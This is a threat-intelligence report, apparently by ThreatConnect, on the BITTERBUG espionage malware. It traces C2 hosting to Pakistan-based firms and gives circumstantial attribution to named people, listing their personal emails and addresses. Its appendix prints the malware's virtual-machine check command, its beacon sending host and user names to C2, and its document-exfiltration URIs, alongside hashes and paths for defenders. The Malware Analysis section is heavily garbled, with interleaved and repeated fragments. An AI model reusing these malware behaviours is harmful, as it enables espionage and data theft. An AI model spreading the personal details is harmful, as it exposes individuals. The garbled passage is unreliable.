been conducting business operations from within Pakistan, subleasing infrastructure from U.S. providers. VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media. Both organizations have employed or are affiliated with personnel who have offensive cyber expertise. When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity. Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post and our contact. However, inconsistencies in their claims and their responses made such a scenario questionable. OPERATION ARACHNOPHOBIA Backstory TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013. To our knowledge this customized malware has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.431 and 199.91.173.45.2 3 According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City, Missouri. Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.4 On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating from IP address 199.91.173.43. The hosting provider subsequently introduced5 TCIRT to their client VPNSOC, the customer responsible for subleasing the IP address. Later that day, TCIRT received a response6 from support@vpsnoc.com providing limited information on the server and related traffic (Figure 2). When TCIRT sent follow-up communications, VPSNOC did not respond, further increasing our suspicions. Figure 2: VPSNOC Response https://www.virustotal.com/en/ip-address/199.91.173.43/information/ https://www.virustotal.com/en/ip-address/199.91.173.45/information/ http://www.shodanhq.com/search?q=93c546-b1-4dbcbc6438380 https://bsd.sos.mo.gov/BusinessEntity/BusinessEntityDetail.aspx?page=beSearch&ID=2936099 Digital Appendix 2: Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml Digital Appendix 2: Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml OPERATION ARACHNOPHOBIA While reviewing the metadata of VPSNOC s July 24, 2013 email response, we noticed the email was sent from a +0500 time zone. This time zone usage is consistent with Pakistan s time zone.7 The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013. Four days later on August 6, 2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage.8 Khan submitted Response_ThreatConnect.docx 9 as an explanation of the observed activity to both the media and the TCIRT indicating that the debug paths using Tranchulas and umairaziz27 was done by developer of malware to portray wrong impression about Tranchulas and mislead malware analysts . Notably, Khan included a screenshot of an email message. The message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify VPSNOC of the same malicious activity identified by TCIRT. However, we noted certain anomalies in this message. Figure 3: Screenshot (image1.png) included within Response_ThreatConnect.docx As seen in Figure 3 the email message 10 was sent to VPSNOC from an unidentified tranchulas.com email address on Tue, Jul 21, 2013 at 11:36 PM. July 21, 2013 was not a Tuesday and in fact was a Sunday. The mismatched date suggests that this email message was potentially modified in order to support the claim that Tranchulas was aware of, and had already reported the exploitation activity. TCIRT speculates that Tuesday was hastily chosen because our own official notification to VPSNOC was sent on Wednesday the 24th. In addition, the response received by Tranchulas is nearly identical to that received by TCIRT. We believe that Tranchulas may have obtained information about TCIRT s notification to VPSNOC through a pre-established relationship.11 Digital Appendix 2: Raw Email Communications (Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500.eml) & (Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500.eml) http://www.theregister.co.uk/2013/08/07/india_cyberespionage/ Digital Appendix 2: Raw Email Communications (Email#3 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Wed, 7 Aug 2013 03-18-57 +0500).eml) Digital Appendix 1: Research Collateral image1.png (MD5:d224f39f8e20961b776c238731821d16) within Response_ThreatConnect.docx Appendix F: Personas (Persona #2) OPERATION ARACHNOPHOBIA The TCIRT responded to Mr. Khan s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable date inconsistency within the email screenshot. The TCIRT also requested that Mr. Khan share the actual email message with the original attached headers. Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar, a Penetration Testing Team Lead at Tranchulas. On August 15, 2013, three days later, Qamar responded to TCIRT with a brief denial12 of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to VPSNOC support (support@vpsnoc.com) for any follow up questions. Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas. VPSNOC/Digital Linx/Tranchulas During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan. The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space (Figure 4). The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting. Digital Linx is also a Pakistan-based hosting company (Figure 5). Figure 4: Screenshot of VPSnoc.com About us page Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Thu, 15 Aug 2013 12-52-54 +0500).eml OPERATION ARACHNOPHOBIA Figure 5: Digital Linx (digitallinx.com) Figure 6: Screenshot of DigitalLinx.net Website indicating its location contact page As seen in Figure 6, the administrative email address is admin@digitallinx.org.13 This is the same registrant record for the digitallinx.net domain.14 The domains digitillinx.org, digitallinx.net, and digitallinx.com share current and historical similarities in their WHOIS records and sitemap.xml files 15 16 that imply they are all controlled by the same individual or entity. The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder)17 18 19 who uses email addresses naseer@digitallinx.com and nbhatti@gmail.com. The domain is also registered to the address 638-F Johar Town, Lahore Pakistan.20 The contact telephone number listed on Digital Linx web site is 925-665-1427 (Figure 6), and is also used in the WHOIS record for defiantmarketing.com21. The domain defiantmarketing.com is registered to Abunasar Khan. The registration lists VPSNOC as the registrant organization, abunasar@yahoo.com as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the registration address. Abunasar Khan has been observed using the aliases agnosticon 22 and agnostic . From this we were able to locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as a subdivision of Digital Linx Hosting (Figure 7).23 Though none of this information is surprising, it further suggests that both Bhatti and Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.24 https://whois.domaintools.com/vpsnoc.com https://whois.domaintools.com/digitallinx.net http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us http://digitallinx.net/Contact.html https://whois.domaintools.com/digitallinx.com http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ https://github.com/digitallinx/vBilling/blob/master/CHANGELOG https://whois.domaintools.com/defiantmarketing.com http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html https://dazzlepod.com/rootkit/?page=284 OPERATION ARACHNOPHOBIA Figure 7: Blackhatworld advertisement identifying VPSNOC as a Digital Linx subdivision25 Additional research into Abunasar Khan identified several registered domains and fragments of his online presence. Based on his websites and account information, he appears to have an interest or participated in the Antisec26 and Anonymous27 movements (Figure 8). He also used anony mo us in the registration name field of a personal account 28. In addition, Abunasar Khan s Google+ profile revealed connections to at least one Tranchulas employee, Hamza Qamar29 and a Digital Linx employee, Shoaib Riaz.30 31Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last spoke.32 Visiting Hamza Qamar s Google+ page (Figure 9), the only directly connected person was Abunasar Khan. At this point, it shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with Hamza Qamar, the Penetration Testing employee from Tranchulas. Figure 8: Abunasar.net main page http://vpsnoc.com/order.png http://abunasar.net http://pastebin.com/rqVGqh1q https://dazzlepod.com/rootkit/?page=284 https://plus.google.com/105774284158907153401/about https://plus.google.com/105059395104464629441/about http://lists.horde.org/archives/horde/Week-of-Mon-20061225/032545.html https://plus.google.com/103436628630566104748/posts OPERATION ARACHNOPHOBIA Figure 9: Qamar s only connection out of 40+ followers Qamar indicated on his public LinkedIn profile that he engaged in system and enterprise level network and Web application security testing for clients ranging from large federal agencies, DoD, and commercial clients , though it is unclear which is referenced (e.g., whether the Pakistani Ministry of Defense or some other nation s defense department). Tranchulas identifies government (presumably Pakistan s government) as an operational sector for its work. Tranchulas offensive cyber initiative services are offered to national-level cyber security programs 33 34 indicating commercial demand from national-level customers. Though Tranchulas35 brands itself as a multi-national company, with respective addresses within the United Kingdom36, the United States37, and New Zealand38. We found evidence that these addresses are all associated with either virtual office spaces or address forwarding services. For further background information on these personas, please see Appendix F: Personas. The following is a summary of the relationships between the hosting organizations and Tranchulas: VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that contained build strings that referenced Tranchulas and a Tranchulas employee. Tranchulas and VPNSOC were in direct communication at some point in July-August 2013. VPNSOC is a subsidiary of Digital Linx. Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S. Hamza Qamar was an employee of Tranchulas. http://www.prnewswire.co.uk/news-releases/tranchulas-steps-into-the-global-cyber-strategy-market-with-launch-of-the-offensive-cyberinitiative-oci-230411011.html Digital Appendix 3: Screenshot Archives (tranchulas.com/offensive-cyber-initiative-oci.png) Digital Appendix 3: Screenshot Archives (tranchulas.com/contact-us) http://www.londonpresence.com/contact-us/ http://nextspace.us/nextspace-union-square-san-francisco/ http://www.privatebox.co.nz/virtual-office/virtual-office-address.php OPERATION ARACHNOPHOBIA Muhammad Naseer Bhatti was the self-proclaimed founder of Digital Linx. Abunasar Khan was affiliated with AntiSec and VPNSOC. Digital Linx founder Muhammad Naseer Bhatti had at least a working relationship with VPNSOC employee Abunasar Khan39 connected through domain registrations and a common Google+ profile for Shoaib Riaz (another Digital Linx employee). VPNSOC employee Abunasar Khan had a direct connection to Tranchulas employee Hamza Qamar through Google+. Note: A walkthrough of our research is available in Appendices C, D and E. Technical Observations Metadata Analysis: As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx). In reviewing the document metadata for Response_ThreatConnect.docx , TCIRT identified that it contained the creator properties of TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and found that both also had the author of (Figure 10). Decoys associated with BITTERBUG Tranchulas Documents Figure 10: Matching Document Author Metadata http://www.know-hosting.com/view/27108-digitallinx.html OPERATION ARACHNOPHOBIA While the author field of doesn t conclusively prove a relationship, it contributes to the body of circumstantial evidence which links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with BITTERBUG targeting campaigns. Malware Analysis: CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity. FireEye analyzed the malware, which they call BITTERBUG, and determined it to be a custom backdoor. The backdoor date. earliest samples BITTERBUG contain Tranchulas debug path relies on various (below), mentioned Apublically ugust 2013 TCIRT blog post. These Blaunch, ITTERBUG support components, including the non-malicious, available Libcurl installation, and communications. In were robably used attacks around summer 2013, using possible some variants,variants BITTERBUG haspthe ability to automatically target and exfiltrate files with extensions such aslures .doc, .xls, .pdf, .ppt, date. earliest samples eath BITTERBUG cA:ontain Tranchulas debug path related tmalware then- recent Sarabjit Singh Indian national imprisoned .egm, and .xml. TheTfull report is included in o Appendix Malware Details. (below), maentioned August 2013 TCIRT blog post. These BsITTERBUG Pakistan) Indian Government pension emorandum. tated The earliest evidence of w malware toafApril 2013, basedson Portable Executable compile times, with more than variants robably udates ttacks aTround ummer 2013, sing (PE) possible lures original blog (pand rfamily aised tihe ormal ranchulas response), sueveral binaries 10 BITTERBUG variants to date. earliest contain nthe related then- recent death samples Sarabjit ingh Indian ational contain robserved eferences Cath debug ofpSBITTERBUG ath. important Tranchulas note imprisoned that debug path (below), akistan) aand Indian Gpost. overnment pension emorandum. stated as mentionedin August 2013 blogcomponents These BITTERBUG variants werevprobably used around summer Cath files aTCIRT upport BITTERBUG ariants, inin attacks pthe robable original blog raised tbhe ormal Tpranchulas response), bimprisoned inaries 2013, using possible lures related the then-recent death of Sarabjit Indianseveral national in Pakistan) and an that these w(ere dtoeveloped afnother arty Singh required component contain references Cath debug path. (and important formal note Tranchulas that response), several family. Indian Government pension memorandum. As stated in the original blog raised in the Cath files toare support omponents BITTERBUG ariants, psupport robable references binaries contain Cath in thecdebug path. It aisnd important to note that vthe Cath sfiles components and that hese eveloped nother arty equired omponent Studio 2008\Projects\upload\Release\upload.pdb notC:\Users\Tranchulas\Documents\Visual BITTERBUG variants, so it is probable that these were developed by another party but are a requiredf component the family. family. C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb C:\Users\Cath\documents\visual studiow2010\Projects\ExtractPDF\Release\ExtractPDF.pdb Additional BITTERBUG variants compiled June July 2013 that contained C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb different identifiers debug paths: Cert-India samples) umairaziz27 sample).41 presence umairaziz27 debug path Additional BITTERBUG variants were inonder June that contained identifiers in the debug paths: Additional ITTERBUG variants were ompiled June Jdifferent 2013 contained from sBample mcompiled akes ctJuly r2013 epresents operational stecurity path from one different dentifiers ebug aths: Cert-India samples) Cert-India (3 samples) umairaziz27 (1 p sample). The presence in a debug mistake. debug path umairaziz27 ofT( umairaziz27 witter aLnd inkedIn saample). Tahe presence umairaziz27 debug path led us to Twitter42 sample makes umairaziz27 us wonder(ifon thiswrepresents an operational mistake. The debug of a umairaziz27 accounts hich matching lias isecurity used) belong path Tranchulas employee smair ample ma akes walias onder this operational security and LinkedIn43from accounts which matching is used) thatrepresents belong a aTranchulas employee Aziz, who named U(on Aziz, dentified imself nformation Security Anamed nalystUmair LinkedIn mistake. ebug path oAnalyst umairaziz27 TUniversity witter graduate Ndational University oand Sciences Tuechnology NUST). Oand oTechnology these 45 (NUST).46 identified himself as an Information Security graduateaof National Sciences accounts (won wphich matching lias summer sed) belong uTsing ranchulas samples robably uinsed attacks late t2013, summer leaked report One of these samples probably used attacks in late using2013, leaked report lureemployee which contained a decoy named mair ziz, dentified imself nformation ecurity nalyst lure hich ontained ecoy ocument elated akistan lleged nability document related to Pakistan s alleged inability to locate Osama Bin Laden. graduate National University Sciences Technology45 (NUST).46 these locate Osama Laden. samples robably used attacks late summer 2013, using leaked report lure which contained decoy document related 2008\Projects\ufile\Release\ufile.pdb Pakistan alleged inability C:\Users\Cert-India\Documents\Visual Studio locate Osama Laden. C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb After publication of thepTCIRT blog and with Tranchulas occurred in August no new samples of After ublication tour communications TCIRT blog communications with T2013, ranchulas C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb August 2013, ncompile samples BITTERBUG support components BITTERBUG oroccurred its supporticomponents (basednon times) were identified untiloSeptember (various support components) and (based compile times) were until Sfollowing eptember various support October (a new BITTERBUG variant). Interestingly, theidentified samples compiled the(blog publication used entirely new and generic After ublication TCIRT communications with analysis. Tranchulas components) Otctober nbew ITTERBUG Interestingly, samples debug paths (Figure as well a asnd compilation tactic toBaconceal C2variant). address from static Between September and occurred ugust 013, amples ITTERBUG upport omponents compiled ollowing ublication ntirely eneric ebug paths activities, December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based (based compile times) were identified until September various support (Figure well compilation tactic conceal address from static components) OSctober variant). Interestingly, samples analysis. Between eptember BDITTERBUG ecember, observed more variations http://curl.haxx.se/libcurl/ compiled ollowing ublication used entirely generic debug paths Appendix A: Malware Details Appendix (Figure Mwalware Daetails compilation tactic conceal address from static https://twitter.com/umairaziz27 https://twitter.com/umairaziz27 analysis. Between September December, observed more variations http://pk.linkedin.com/in/umairaziz27 ttp://pk.linkedin.com/in/umairaziz27 https://twitter.com/umairaziz27/status/332049978878996481 hppendix Malware Details ttps://twitter.com/umairaziz27/status/332049978878996481 www.nust.edu.pk ttps://twitter.com/umairaziz27 ww.nust.edu.pk http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profile%20SEECS%20%20BICSE.pdf hhttp://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro ttp://pk.linkedin.com/in/umairaziz27 file%20SEECS%20%20BICSE.pdf https://twitter.com/umairaziz27/status/332049978878996481 www.nust.edu.pk 46http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro file%20SEECS%20%20BICSE.pdf OPERATION ARACHNOPHOBIA BITTERBUG support components terms packaging, host- based activities, decoys lack them) compared samples before blog post. could indicate that threat ctors aThis ware indicate blog post actors were aware and decoys (or the lack T ofhis them) compared to the samples before aour blogwpost. could that the threat modified heir alware elated omponents istance rior of the blog post and modified their malware and related components to distance them from prior indicators. indicators. C:\Intel\Logs\file.pdb Figure Generic Debug Path Figure 11: Generic Debug Path Between December 2013 late March 2014, observed several lures used BITTERBUG self- extracting (SFXRAR) files. from December contained Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR) several BITTERBUG variants used decoy document (Figure related files. One from December contained several variants and used decoy PDF document (Figure 12) related to the aIndian diplomat United December arrest BITTERBUG Devyani Khobragade, December arrest States. of Devyani Khobragade, Indian diplomat United States. spring 2014, observed SFXRAR file spring 2014, observed SFXRAR file with filename lure related athe with a filename lure related to thedisappearance March 2014 disappearance of A Malaysia (cast Pakistan-related hijacking). March 2014 Malaysia irlines Airlines Flight Flight 370 370 (cast Paakistan- related hijacking). This SFXRAR ontained dependencies latest BITTERBUG variant, which Interestingly, This SFXRAR contained latest BITTERBUG variant, c which had new on support components. this ependencies upport omponents. nterestingly, FXRAR ilename SFXRAR s filename was the only lure element related to the MH370 event; it did not contain a decoy document. We provide a land element elated MH370 event; contain decoy more detailed report onthe thisoSFX related rvariant intAppendix A: Malware Details. document. provide more detailed report this related variant Appendix Malware Details. Figure 12: Screenshot of Indian diplomat arrest decoy PDF http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ 48http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-poweroutage-during-the-early-part-of-its-flight-2014-6 BITTERBUG continued to rely on the same network behaviors to communicate with its C2s. Connections to its C2 nodes relied on PHP and used communications that included .php?compname= and .php?srs= , as well as direct file/component retrieval also from the C2s. Though many of the samples that we have observed use direct IPs for HTTP communications, we have observed more limited use of a No-IP domain. http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-outage-during-the-early-part-of-its-flight-2014-6 OPERATION ARACHNOPHOBIA Conclusion Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues. The threat actor appears to have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the delivery and C2 phases of attack. Research later identified that a Pakistan-based VPSNOC representative had a social network affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements. After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG activity, however, this explanation contained discrepancies. The TCIRT addressed some of these discrepancies with Tranchulas personnel, who were unresponsive, increasing our suspicion of the activity. We later observed BITTERBUG activity following August 2013 with subtle changes that further generalized debug paths. It was this chain of events that served as a catalyst for extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information. While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who are involved in India-Pakistan issues. Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and origins (behind U.S. infrastructure), before and after public disclosure in August 2013. On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural and geographic boundaries. More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration. As one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared perspective is revealed. It is through this process that a shared awareness emerges into a larger, more comprehensive story that explains what we are seeing and why - ultimately it is this story that better serves us all. OPERATION ARACHNOPHOBIA APPENDIX APPENDIX A: Malware Details BITTERBUG BITTERBUG is a backdoor executable capable of uploading and downloading files, listing running processes, generating file listings, and automatically transferring selected files to its command and control (C2) server. BITTERBUG appears to be virtual machine aware and may not execute on a VMWare or VirtualBox VM. We have observed BITTERBUG installed by a self-extracting RAR archive disguised as a screensaver. Upon execution, the self-extracting RAR archive may extract configuration files, dependency DLLs, and the BITTERBUG executable. The timeline below is of BITTERBUG activity from May 2013 through March 2014. Timeline of BITTERBUG characteristics vs.ThreatConnect events OPERATION ARACHNOPHOBIA Details Upon execution the self-extracting RAR may install .exe and the following DLLs: libcurld.dll Used for downloading and uploading files msvcm90d.dll C runtime library msvcp90d.dll C runtime library msvcr90d.dll C runtime library The self-extracting RAR may install the following benign configuration files: Microsoft.VC90.DebugCRT.manifest Compilation artifact BtcirEt.DZU Self-extracting RAR configuration file SJeXSrA.KNX Self-extracting RAR configuration file VCAKSQl.TNT Self-extracting RAR configuration file BITTERBUG first may execute the following Windows Management Instrumentation (WMI) command to detect the presence of a virtual machine (VM): cmd.exe /c wmic diskdrive list brief > %APPDATA%\Microsoft\recovery.txt BITTERBUG then may open recovery.txt and check for the presence of strings VBox or VMware. The backdoor then may enter an infinite sleep loop if recovery.txt contains either one of the aforementioned strings (Example in Figure 13). Figure 13: Example recovery.txt file from VMware virtual machine Next BITTERBUG typically will beacon to the C2 server by sending the computer name and username of the compromised system. An example beacon request is shown in Figure 14. POST /path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> HTTP/1.1 Host: Accept: */* Content-Length: 25 Content-Type: application/x-www-form-urlencoded <%COMPUTERNAME%>_<%USERNAME%> Figure 14: Initial C2 beacon OPERATION ARACHNOPHOBIA BITTERBUG then may perform an HTTP GET request for the following URI: http:///checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%> If the C2 server responds with a filename, the filename received is deleted from %APPDATA%\Microsoft. The purpose of this command might be to delete older versions of BITTERBUG, although we have not observed this command occurring in the wild. BITTERBUG then may attempt to download the files listed in Table 1. The purpose of the first three files is unknown. The final two files are downloaded to the user s Startup directory and executed at startup in order to maintain persistence. Request URI Download Path http:///versionchk.php?srs=436712384 %APPDATA%\Microsoft\file.exe http:///vtris.php?srs=436712384 %APPDATA%\Microsoft\percf001.dat http:///vtris1.php?srs=436712384 %APPDATA%\Microsoft\percf002.dat http:///is_array_max.php?compname= %USERPROFILE%\Start Menu\Programs\ <%COMPUTERNAME%>_<%USERNAME%> Startup\wincheck.exe http:///is_array_pal.php?compname= %USERPROFILE%\Start Menu\Programs\ <%COMPUTERNAME%>_<%USERNAME%> Startup\winsquirt.exe Table 1: Files downloaded by the backdoor Next, BITTERBUG may scan through each drive letter and search recursively for files with the following file extensions: .doc, .ppt, .xls, .pdf, .docx, .pptx, .pps, .xlsx BITTERBUG then typically creates a file list containing all documents (excluding those whose filename contains MediaUtils) to the following locations: %APPDATA%\Microsoft\plang006.txt %APPDATA%\Microsoft\tlang006.txt BITTERBUG may also write a list of all running processes to: %APPDATA%\Microsoft\prc.dat Finally, BITTERBUG typically uploads the running process list, document file list, and all documents to the following URI: http:///fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%> Host-Based Signatures File System Residue BITTERBUG may be extracted along with the following embedded files: %USERPROFILE%\5rv3fgk6\.exe %USERPROFILE%\5rv3fgk6\libcurld.dll %USERPROFILE%\5rv3fgk6\msvcm90d.dll %USERPROFILE%\5rv3fgk6\msvcp90d.dll %USERPROFILE%\5rv3fgk6\msvcr90d.dll %USERPROFILE%\5rv3fgk6\Microsoft.VC90.DebugCRT.manifest OPERATION ARACHNOPHOBIA %USERPROFILE%\5rv3fgk6\SJeXSrA.KNX %USERPROFILE%\5rv3fgk6\BtcirEt.DZU %USERPROFILE%\5rv3fgk6\VCAKSQl.TNT The malware may create the following files: %APPDATA%\Microsoft\recovery.txt %APPDATA%\Microsoft\plang006.txt %APPDATA%\Microsoft\tlang006.txt %APPDATA%\Microsoft\prc.dat %APPDATA%\Microsoft\file.exe %APPDATA%\Microsoft\percf001.dat %APPDATA%\Microsoft\percf002.dat %USERPROFILE%\Start Menu\Programs\Startupwincheck.exe %USERPROFILE%\Start Menu\Programs\Startup\winsquirt.exe Network-Based Signatures The malware typically communicates on TCP port 80: The malware may perform HTTP requests for the following URIs: http:///checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%> http:///is_array_max.php?compname=<%COMPUTERNAME%>_<%USERNAME%> http:///is_array_pal.php?compname=<%COMPUTERNAME%>_<%USERNAME%> http:///path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> http:///fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%> http:///versionchk.php?srs=436712384 http:///vtris.php?srs=436712384 http:///vtris1.php?srs=436712384 File Manipulations We observed other interesting operational security-oriented challenges in the post-blog post samples. In one case, an actor appeared to manually null out the Cert-India user directory in one of the file paths (see figures 15 and 16 below) contained in two binaries (support components). These files shared the same import hash (4e96e86db5a8a025b996aefdc218ff74) and were virtually the same files minus modification to a few bytes in the second sample. Figure 15: Original file content for 7588ff900e32145cbcbc77837237aef8 OPERATION ARACHNOPHOBIA Figure 16: Nulled file path for 26616e6662b390ebdb588cdaaae5e4f6 As these samples point to, we also observed use of the C++ Boost libraries, which introduced a new file path to monitor for operational security purposes. We observed at least one case in which files mixed old and new file paths, as seen in the figures 17 and 18 below. Figures Screenshots from locations 6e8c4d2d5d4e5e7853a1842b04a6bfdf Figures 17 and 18: Screenshots from two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf both cases, possible that actors intentionally this attempt In both cases, it is possible that the actors intentionally this iin an pattempt to mislead further research efforts o into mislead further research edid fforts ost- blog samples cast suspicion postCert- India Cert-India more- revealing element. Felement. example, analysis files deployed blog samples or cast suspicion as a more-revealing For example, analysis of files deployed alongside alongside nulled- Cert- India sample mover entioned above revealed lack the nulled-out Cert-India sample mentioned above revealed a lack of concern the same string. Alternatively, these concern tring. lternatively, hese nconsistencies ould ndicate inconsistencies could also indicate sloppy tradecraft and/or teamwork. sloppy tradecraft and/or teamwork. C:\Users\CertIndia\Documents\boost_1_53_0\boost/thread/win32/thread_primitives.hpp OPERATION ARACHNOPHOBIA APPENDIX B: MD5 Hashes and Malware Table BITTERBUG Hashes File Size (bytes) Compile Time be7de2f0cf48294400c714c9e28ecdd1 158720 2013-05-08T10:58:22Z fd3a713ebf60150b99fb09de09997a24 158208 2013-05-10T19:18:54Z 03f528e752dee57b1ff050a72d30de60 158208 2013-05-23T17:21:19Z 801c8bac8aea4d0226e47551c808a331 169984 2013-06-14T13:53:13Z a21f2cb65a3467925c1615794cce7581 172032 2013-06-25T13:04:04Z 35663e66d02e889d35aa5608c61795eb 171520 2013-07-09T10:16:00Z 328adb01fb4450989ee192107a765792 173056 2013-08-01T17:28:54Z 8878162cf508266f6be1326da20171df 267776 2013-10-24T09:28:23Z 5ccb43583858c1c6f41464ee21a192ba 225792 2013-12-06T10:02:36Z 44abc22162c50fcc8dc8618241e3cd1a 169472 2013-12-26T09:19:40Z 6e8c4d2d5d4e5e7853a1842b04a6bfdf 480256 2013-12-30T13:11:23Z 828d4a66487d25b413cb19ef8ee7c783 171520 2014-03-17T08:16:25Z BITTERBUG and Support Component Debug Strings (in order of first use) Compile Time Debug Paths 2013-05-08T10:58:22Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-10T19:18:54Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-23T17:21:19Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-28T11:59:36Z C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb 2013-05-30T08:48:04Z C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb 2013-06-13T08:34:21Z C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb 2013-06-14T13:53:13Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-06-25T13:04:04Z C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb 2013-07-09T10:16:00Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-08-01T17:28:54Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-10-24T09:28:23Z C:\Intel\Logs\file.pdb 2013-12-06T10:02:36Z C:\Intel\Logs\logs.pdb 2013-12-26T09:19:40Z C:\Intel\Logs\file.pdb 2013-12-30T13:11:23Z C:\Intel\Logs\file.pdb 2014-03-17T08:16:25Z C:\Intel\Logs\file.pdb OPERATION ARACHNOPHOBIA BITTERBUG Import Hashes Imphash Compile Time 610893cd57631d1708d5efbc786bd9df 2013-05-08T10:58:22Z 5b1bebadb5713018492b1973ab883c25 2013-05-10T19:18:54Z 5b1bebadb5713018492b1973ab883c25 2013-05-23T17:21:19Z cf63bfee568869182bd91a3cb8e386ce 2013-06-14T13:53:13Z ccca290b8ab75a5b29f61847fb882c20 2013-06-25T13:04:04Z cf63bfee568869182bd91a3cb8e386ce 2013-07-09T10:16:00Z 435bd4f04b2ee7cb05ce402f2bcea85e 2013-08-01T17:28:54Z 